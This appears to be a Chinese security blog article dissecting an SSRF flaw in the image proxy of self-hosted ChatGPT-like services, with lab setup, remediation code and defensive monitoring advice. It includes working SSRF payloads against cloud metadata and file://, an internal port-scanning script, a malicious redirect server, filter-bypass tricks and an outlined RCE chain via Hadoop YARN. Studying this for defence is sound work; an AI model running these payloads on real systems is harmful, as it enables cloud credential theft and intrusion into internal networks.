新闻详情
AI服务SSRF漏洞深度剖析:从图片代理到内网渗透的攻防实战
AI服务SSRF漏洞深度剖析:从图片代理到内网渗透的攻防实战
1. 项目概述一次针对AI服务内部组件的深度安全审计最近在安全研究圈子里关于各类AI应用和服务的内部安全讨论热度不减。作为一名长期关注应用安全与漏洞挖掘的从业者我习惯性地会对一些新兴的、用户量庞大的在线服务进行“黑盒”或“灰盒”测试尝试理解其架构的潜在风险点。这次我们把目光投向了一个大家非常熟悉的AI服务——ChatGPT。当然这里讨论的并非OpenAI官方的ChatGPT.com而是指那些基于开源或自研模型、提供类似对话服务的“个人专用版”或“镜像站”。这类服务为了提供丰富的功能例如解析用户输入的图片链接并获取内容往往会在后端集成图片代理Picture Proxy服务。这个组件的设计初衷是良性的当用户发送一个图片URL时后端代理服务器会去获取该图片然后转发给AI模型进行内容分析从而保护用户隐私不直接暴露用户IP给外部图床并统一处理格式。然而如果这个代理服务的实现存在缺陷它就可能成为一个危险的跳板引发服务器端请求伪造SSRF漏洞。简单来说就是攻击者可以诱使服务器代理去访问其本不应该访问的内部网络资源比如数据库管理界面、云服务元数据接口如AWS/Aliyun的169.254.169.254、甚至是内网的其他敏感服务。我最近在对某个特定版本的ChatGPT个人部署项目进行安全审计时就发现了其pictureproxy组件存在这样一个未公开的SSRF漏洞可以称之为0day。这个漏洞的利用条件相对宽松危害却不容小觑。本文将深入拆解这个漏洞的成因、影响范围、复现过程并分享完整的漏洞验证思路PoC与修复建议。需要强调的是所有研究均在授权的测试环境或自建环境中进行旨在提升广大开发者和安全人员对这类风险的认识。2. 漏洞原理与架构风险点深度解析2.1 SSRF漏洞的核心机制与危害演进服务器端请求伪造SSRF并不是一个新概念但其在云原生和微服务架构下的危害性被不断放大。传统的SSRF可能只是让服务器成为一个“代理”访问一些外网或内网端口。但在现代架构中一个成功的SSRF攻击链可能意味着云环境元数据窃取访问云提供商如AWS, GCP, Azure, 阿里云腾讯云的实例元数据服务获取临时访问凭证Access Key/Secret Key进而接管整个云资源。内部服务探测与攻击扫描和攻击内网中未暴露在公网的服务如Redis, MongoDB, Consul, Docker API等这些服务往往因为处于“信任内网”而配置了弱密码甚至无密码。协议滥用与绕过利用file://,gopher://,dict://等协议读取服务器本地文件或与内网服务进行交互。逻辑漏洞组合拳与业务逻辑结合例如利用SSRF触发一个内部API完成某个高权限操作如重置管理员密码、发送内部通知。在AI服务场景下pictureproxy这类组件天生就是SSRF的“高危区”。因为它被设计为接收一个用户可控的URL - 服务器端发起网络请求 - 返回内容。整个链条中“用户可控的URL”是输入点“服务器端发起请求”是危险操作如果两者之间的过滤、校验环节存在疏漏漏洞就产生了。2.2 目标pictureproxy组件的实现缺陷剖析通过对目标ChatGPT个人版项目源码的审计我定位到了负责图片代理的端点通常路由类似于/api/proxy/image或/pictureproxy。其简化后的伪代码如下# 伪代码展示问题逻辑 app.route(/api/proxy/image) def proxy_image(): url request.args.get(url) # 从用户请求参数中获取目标图片URL if not url: return jsonify({error: Missing url parameter}), 400 # 缺陷1缺乏对URL scheme协议的有效过滤 # 缺陷2对重定向Redirect的处理过于宽松 # 缺陷3对访问的目标IP范围内网IP段没有进行限制 try: # 直接使用用户提供的URL发起请求 response requests.get(url, timeout5, allow_redirectsTrue) content_type response.headers.get(Content-Type, image/jpeg) # 将获取到的内容直接返回给前端或AI模型 return Response(response.content, content_typecontent_type) except Exception as e: return jsonify({error: str(e)}), 500关键缺陷点分析协议白名单缺失代码仅检查url参数是否存在但没有严格限制URL必须以http://或https://开头。攻击者可以传入file:///etc/passwd来尝试读取服务器本地文件。虽然现代requests库或urllib可能默认不支持file协议但依赖运行环境配置是不安全的。重定向跟随无校验allow_redirectsTrue是一个极其危险的配置。假设攻击者传入一个指向其控制服务器的URLhttp://attacker.com/redirect该服务器返回一个302重定向Location头指向内网地址http://169.254.169.254/latest/meta-data/。由于服务端会自动跟随重定向它就会访问到云元数据接口。许多SSRF漏洞利用都依赖于重定向这一特性。内网IP段过滤空白代码完全没有对url解析后的主机IP进行检查。RFC定义的内网IP段如10.0.0.0/8,172.16.0.0/12,192.168.0.0/16、本地回环地址127.0.0.0/8、链路本地地址169.254.0.0/16包含云元数据IP以及0.0.0.0等都应该被禁止访问。DNS重绑定攻击风险如果服务在请求时先解析域名得到IP进行黑名单过滤然后才发起请求这中间存在一个时间窗口。攻击者可以利用DNS重绑定技术在TTL极短的时间内使同一个域名先后解析为允许的外网IP和禁止的内网IP从而绕过过滤。注意在实际漏洞利用中上述缺陷往往不是单独存在的而是多个缺陷组合在一起使得漏洞利用变得更加容易和稳定。例如缺乏协议过滤和重定向校验这两个缺陷结合就能构造出非常强大的攻击链。3. 漏洞复现环境搭建与PoC设计详解为了在不影响任何线上服务的前提下验证漏洞我们需要搭建一个本地复现环境。这不仅能让我们安全地测试PoC也能深刻理解漏洞触发的完整上下文。3.1 本地靶场环境搭建我选择了目标项目的一个历史发布版本出于安全考虑不指明具体版本号和仓库进行部署。环境基于Docker可以快速构建和销毁。基础环境准备# 克隆项目代码示例请替换为实际测试项目 git clone target_project_git_url -b vulnerable_version_tag cd target_project # 检查项目结构找到包含pictureproxy逻辑的代码文件通常是某个api.py或proxy.py find . -name *.py | xargs grep -l picture\|proxy | grep -v test依赖安装与启动 根据项目的requirements.txt或Dockerfile安装Python依赖。关键是要确保运行环境的网络能够访问外网以及模拟的内网服务。pip install -r requirements.txt # 启动开发服务器通常命令如下 python app.py 或 uvicorn main:app --host 0.0.0.0 --port 8000服务启动后默认监听在http://localhost:8000。模拟内网脆弱服务 为了演示危害我们在同一台机器模拟同内网或另一个Docker容器中启动几个脆弱服务一个简单的HTTP服务用于接收SSRF请求并展示信息python -m http.server 8080Redis服务无认证docker run -d -p 6379:6379 redis:alpine利用nc监听一个端口观察TCP连接nc -lvnp 90003.2 漏洞验证PoCProof of Concept分步构造PoC的目的是证明漏洞存在且可利用。我们将从简单到复杂逐步构造攻击载荷。PoC 1基础SSRF验证访问外部可控服务器这是最简单的测试确认服务器确实会向我们指定的地址发起请求。在公网VPS或使用ngrok/localtunnel等工具将本地一个端口暴露为公网可访问的URL例如https://your-subdomain.ngrok.io。在该端口运行一个能记录所有HTTP请求详细信息的服务如http://requestbin.net或自建echo服务。向目标ChatGPT的pictureproxy接口发送请求GET /api/proxy/image?urlhttp://your-subdomain.ngrok.io/test.jpg查看你的请求记录服务如果收到了来自目标服务器IP的请求且User-Agent是Python的requests库或类似标识则证明基础SSRF存在。PoC 2探测内网服务与元数据确认基础SSRF后开始探测敏感目标。探测云元数据如果目标部署在云上GET /api/proxy/image?urlhttp://169.254.169.254/latest/meta-data/观察响应如果返回了包含instance-id、ami-id等信息的文本说明漏洞危害极大可以直接获取云服务器角色凭证。注意不同云厂商的元数据地址略有不同需要尝试常见路径。探测常见内网端口和服务 编写一个简单的脚本批量请求pictureproxy目标为常见内网IP段和端口。import requests target_api http://localhost:8000/api/proxy/image base_ip 192.168.1. # 根据实际情况调整网段 ports [22, 80, 443, 6379, 8080, 9200] # SSH, HTTP, HTTPS, Redis, 自定义端口, Elasticsearch for i in range(1, 255): ip f{base_ip}{i} for port in ports: test_url fhttp://{ip}:{port}/ try: resp requests.get(target_api, params{url: test_url}, timeout2) # 根据响应状态码、内容长度、响应时间判断端口开放和服务类型 print(f[] {ip}:{port} - Status: {resp.status_code}, Len: {len(resp.content)}) except requests.exceptions.RequestException as e: # 连接超时或拒绝端口可能关闭或过滤 pass通过响应差异如连接超时、连接拒绝、返回特定错误页或服务标识可以绘制内网地图。PoC 3利用重定向访问禁区这是利用“缺陷2”的关键。我们搭建一个恶意重定向服务器。编写一个简单的Flask重定向服务(redirector.py)from flask import Flask, redirect app Flask(__name__) app.route(/redirect-to-meta) def redirect_to_meta(): # 将请求重定向到AWS元数据地址或其他内网地址 return redirect(http://169.254.169.254/latest/meta-data/, code302) if __name__ __main__: app.run(host0.0.0.0, port9999)将上述服务部署在公网VPS。向pictureproxy发起请求GET /api/proxy/image?urlhttp://your-vps-ip:9999/redirect-to-meta如果pictureproxy服务返回了云元数据的内容而不是你的重定向服务器的内容那么就成功利用了重定向漏洞访问了内网禁区。这是危害性极高的利用方式因为它完全绕过了对目标URL本身your-vps-ip的IP黑名单检查。PoC 4尝试文件协议读取如果环境支持GET /api/proxy/image?urlfile:///etc/passwd观察响应。如果返回了/etc/passwd文件的内容说明协议过滤完全失效。如果返回错误如Unsupported URL scheme则说明底层库或环境做了限制但这不代表绝对安全因为可能通过其他方式如php://包装器、http://localhost访问本地文件服务等达到类似目的。实操心得在实际测试中浏览器的同源策略CORS和前端代码可能会对直接返回的图片或内容类型有要求。如果pictureproxy返回的不是图片如文本前端可能无法正常显示。但这不影响漏洞的本质我们可以通过检查HTTP响应包来确认漏洞是否触发。使用Burp Suite或浏览器开发者工具的Network面板是必须的。4. 漏洞利用的进阶技巧与深度利用场景一个基础的SSRF PoC只能证明漏洞存在。真正的安全评估需要深入挖掘其潜在的最大危害。下面分享几种进阶的利用思路这些在渗透测试和红队评估中可能会用到。4.1 绕过常见过滤机制开发人员可能会实施一些简单的过滤我们需要尝试绕过。域名黑名单绕过利用符号http://expected-domain.comevil.com。一些旧的URL解析库会将前的部分视为认证信息实际请求的是evil.com。利用#号http://expected-domain.com#evil.com。#之后是片段标识符部分解析器可能会忽略。利用DNS解析特性将恶意IP地址转换为十进制、八进制或十六进制格式。例如169.254.169.254的十进制表示为2852039166访问http://2852039166/可能等价于访问http://169.254.169.254/。或者使用[::ffff:169.254.169.254]这样的IPv6嵌入格式。利用跳转短链接服务如bit.ly,t.cn等将恶意URL隐藏 behind 一个短链接。IP地址黑名单绕过注册指向内网IP的域名这是最直接的方式。如果过滤只检查IP而不检查域名解析后的IP那么攻击者只需购买一个域名将其A记录指向127.0.0.1或169.254.169.254即可。利用DNS重绑定如前所述这是对抗“先解析过滤再请求”策略的利器。你需要控制一个DNS服务器使目标域名在第一次解析时返回一个允许的外网IP在第二次解析服务端发起请求时返回一个禁止的内网IP。有公开的DNS重绑定服务可供测试。URL编码与混淆对关键字符进行URL编码、双重URL编码以绕过基于字符串匹配的过滤。例如将.编码为%2e将/编码为%2f。使用不同的URL规范形式如http://169.254.169.254和http://0xa9.0xfe.0xa9.0xfe可能指向同一个地址。4.2 将SSRF升级为远程代码执行RCE在某些理想或者说脆弱的环境下SSRF可以与内网其他漏洞结合最终实现RCE。场景假设通过SSRF我们探测到内网192.168.1.100:8080运行着一个未授权访问的Hadoop YARN ResourceManager REST API。利用Hadoop未授权访问Hadoop YARN的REST API允许提交应用。我们可以通过SSRF让pictureproxy服务器向这个API发起POST请求提交一个恶意的应用。构造恶意PayloadPayload中包含一个指向攻击者服务器的JAR包URL该JAR包中包含恶意代码。触发执行Hadoop会从攻击者服务器下载JAR包并在容器中执行从而在Hadoop集群的某个节点上获得一个shell。利用链用户输入恶意URL - pictureproxy SSRF - 访问内网Hadoop API - Hadoop从外网下载恶意JAR并执行 - RCE这个过程需要构造复杂的HTTP请求POST with JSON body而pictureproxy通常只支持简单的GET请求获取图片。但是如果pictureproxy实现不当支持了POST方法或者对请求头的处理有缺陷攻击者或许能通过精心构造的请求利用pictureproxy作为转发器将攻击载荷注入到对内网服务的请求中。这难度很高但并非不可能。4.3 信息泄露与业务逻辑结合除了技术层面的利用SSRF还可以用于窃取敏感业务信息。获取短信/邮件服务回调令牌许多系统有内部回调服务用于处理短信发送状态、支付结果通知等。这些回调接口往往只允许内网IP访问且可能包含敏感信息或可被用于伪造业务状态。通过SSRF攻击者可以模拟这些回调干扰业务逻辑。访问内部监控/日志系统如ELK、Grafana等可能包含服务器日志、应用日志、甚至数据库连接信息。扫描内部CI/CD系统如Jenkins、GitLab CI可能包含源码、部署密钥、服务器凭据。注意事项在进行深度利用测试时务必在完全可控的环境中进行。任何对内网服务的攻击行为在未获得明确授权的情况下都是非法的。我们的目的是理解漏洞的完整杀伤链从而更好地防御它。5. 漏洞修复方案与安全开发实践发现漏洞不是终点如何修复和避免才是关键。针对这个pictureproxySSRF漏洞我提供从紧急缓解到彻底根治的多层修复方案。5.1 紧急缓解措施WAF/中间件层如果无法立即修改代码可以在应用前端部署WAFWeb应用防火墙或配置反向代理如Nginx规则进行拦截。Nginx配置示例location /api/proxy/image { # 1. 检查参数中是否包含敏感关键词 if ($args ~* url.*(127\.0|169\.254|10\.|172\.(1[6-9]|2[0-9]|3[0-1])|192\.168|0\.0\.0\.0|localhost|metadata|元数据).*) { return 403; } # 2. 或者更严格地只允许代理特定白名单域名 # 此方法需要解析$args中的url参数在Nginx中较复杂通常用Lua模块实现更好。 # 最佳实践是在应用代码中修复。 proxy_pass http://backend_app; }注意基于字符串匹配的WAF规则很容易被绕过如URL编码只能作为临时方案。5.2 代码层根本修复方案修复的核心原则是对用户输入的URL进行严格的解析、校验和限制。方案一使用经过安全审计的URL解析和请求库不要手动拼接或使用简单的正则表达式处理URL。使用标准库如Python的urllib.parse来解析URL并获取其各个组件scheme, netloc, path等。from urllib.parse import urlparse import ipaddress import requests from flask import request, jsonify, Response def is_internal_ip(ip_str): 判断是否为内网或保留IP地址 try: ip ipaddress.ip_address(ip_str) return ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved except ValueError: # 如果不是有效的IP地址可能是域名返回True交由后续的DNS解析判断处理 # 更安全的做法是在发起请求前解析域名并判断解析出的IP。 return True # 保守策略先视为危险 def safe_proxy_image(): url_param request.args.get(url) if not url_param: return jsonify({error: Missing url}), 400 # 1. 解析URL try: parsed urlparse(url_param) except Exception: return jsonify({error: Invalid URL format}), 400 # 2. 协议白名单校验 if parsed.scheme not in (http, https): return jsonify({error: Unsupported protocol}), 400 # 3. 获取主机名并尝试解析IP在发起请求前 hostname parsed.hostname if not hostname: return jsonify({error: Invalid hostname}), 400 # 重要在请求前解析DNS并检查IP try: # 使用socket.gethostbyname或异步DNS解析 import socket resolved_ip socket.gethostbyname(hostname) except socket.gaierror: return jsonify({error: Could not resolve hostname}), 400 # 4. 检查解析出的IP是否为内网IP if is_internal_ip(resolved_ip): return jsonify({error: Access to internal resources is forbidden}), 403 # 5. 可选主机名黑名单/白名单如只允许特定图床域名 # allowed_domains [example-cdn.com, img.example.org] # if parsed.hostname not in allowed_domains: # return jsonify({error: Domain not allowed}), 403 # 6. 发起请求但禁止自动重定向 try: response requests.get( url_param, timeout5, allow_redirectsFalse, # 关键禁止自动重定向 headers{User-Agent: SafeImageProxy/1.0} # 设置自定义UA避免被目标站屏蔽 ) except requests.exceptions.RequestException as e: return jsonify({error: fFailed to fetch image: {str(e)}}), 502 # 7. 手动处理重定向如果遇到重定向检查重定向目标是否安全 if 300 response.status_code 400: redirect_url response.headers.get(Location) if not redirect_url: return jsonify({error: Invalid redirect}), 502 # 递归调用自身的安全检查逻辑或直接拒绝所有重定向更安全 # 这里选择直接拒绝因为代理图片通常不需要跟随重定向。 return jsonify({error: Redirects are not allowed for security reasons}), 403 # 8. 内容类型校验确保返回的是图片 content_type response.headers.get(Content-Type, ) if not content_type.startswith(image/): return jsonify({error: URL does not point to an image}), 400 # 9. 可选限制响应体大小防止DoS max_size 10 * 1024 * 1024 # 10MB if int(response.headers.get(Content-Length, 0)) max_size: return jsonify({error: Image too large}), 400 # 或者在流式读取时检查 # ... return Response(response.content, content_typecontent_type)方案二使用专用的、安全的图片处理服务或SDK如果业务允许可以考虑放弃自建代理转而使用云服务商提供的、自带安全防护的图片处理服务如Cloudinary、Imgix或各大云商的图片处理OSS。这些服务通常已经内置了SSRF防护、恶意图片检测、格式转换和缓存等功能。5.3 安全开发规范与SDL建议要从根源上减少此类漏洞需要在开发流程中融入安全设计输入验证与输出编码对所有用户输入进行“白名单”验证包括URL、文件名、路径等。不要相信任何来自客户端的输入。最小权限原则运行pictureproxy服务的进程或容器其网络访问权限应被严格限制。可以使用网络策略NetworkPolicy in K8s或防火墙规则只允许其访问必要的、已知的外部图床域名和端口禁止访问内网RFC1918地址段和元数据地址。依赖库安全定期更新requests等网络请求库避免使用存在已知漏洞的旧版本。安全代码审查将“SSRF防护”作为代码审查清单中的必选项。重点关注所有发起外部网络请求的代码点。纵深防御即使应用层做了防护在主机/网络层也应设置额外的防线。例如使用iptables或安全组禁止服务器实例访问云元数据地址但这可能影响某些云服务的正常功能需谨慎评估。6. 漏洞挖掘方法论与防御者视角的思考这次漏洞挖掘过程可以提炼出一套针对AI服务或类似Web应用组件的方法论。6.1 漏洞挖掘的通用思路资产识别与接口枚举使用爬虫如katanagospider或被动扫描器如Burp Suite的爬行功能尽可能全面地收集目标的所有API端点。关注/api/,/proxy/,/fetch/,/webhook/,/callback/等关键词。参数分析与模糊测试对每个端点分析其接受的参数。对于任何接受URL、文件路径、主机名、IP地址作为参数的端点都应标记为SSRF高危点。使用工具如ffuf,wfuzz或自定义脚本向其注入各种Payload内部IP地址和域名不同协议file://,gopher://,dict://特殊格式的IP八进制、十六进制、十进制包含和#的混淆URL指向你控制的服务器的URL以观察请求是否发出。流量分析与行为观察在你自己控制的服务器上详细记录所有传入请求的头部、方法、路径。这能帮助你理解目标应用是如何发起请求的User-Agent是什么是否跟随重定向是否携带了Cookies或其他敏感头。利用链构造一旦确认SSRF存在就要评估其“质量”。它能访问哪些IP段能使用哪些协议能发送POST请求吗能控制请求头吗回答这些问题有助于构造出危害更大的利用链。6.2 从防御者角度的持续监控对于企业安全团队或开发者而言仅仅修复一个漏洞是不够的需要建立持续的监控和响应机制。日志审计确保pictureproxy服务以及其所在服务器的网络连接日志被完整记录。监控所有对外发起的、目标为内网IP段或已知元数据地址的异常连接。运行时防护考虑使用RASP运行时应用自我保护技术在应用内部监控危险的函数调用如socket.connect,requests.get并在检测到参数包含敏感目标时进行阻断或告警。定期安全扫描将SSRF检测纳入SAST静态应用安全测试和DAST动态应用安全测试的常规扫描项。可以使用Nuclei这类工具其中包含大量成熟的SSRF检测模板对自研服务进行定期巡检。安全意识培训让开发团队充分理解SSRF的原理、危害和修复方法在编写类似功能时能第一时间想到风险点。这个针对ChatGPT个人版pictureproxy组件的SSRF漏洞从一个侧面反映了在快速迭代开发AI应用时安全细节容易被忽视。无论是开发者还是安全研究人员都需要对这类“古老”但历久弥新的漏洞保持警惕。修复它不仅仅是一行代码的更改更是将安全思维融入产品设计和开发流程的实践。希望这次详细的拆解和复现过程能为你所在团队的安全建设提供一份有价值的参考。在安全的世界里攻击者的视角永远是防御者最宝贵的财富。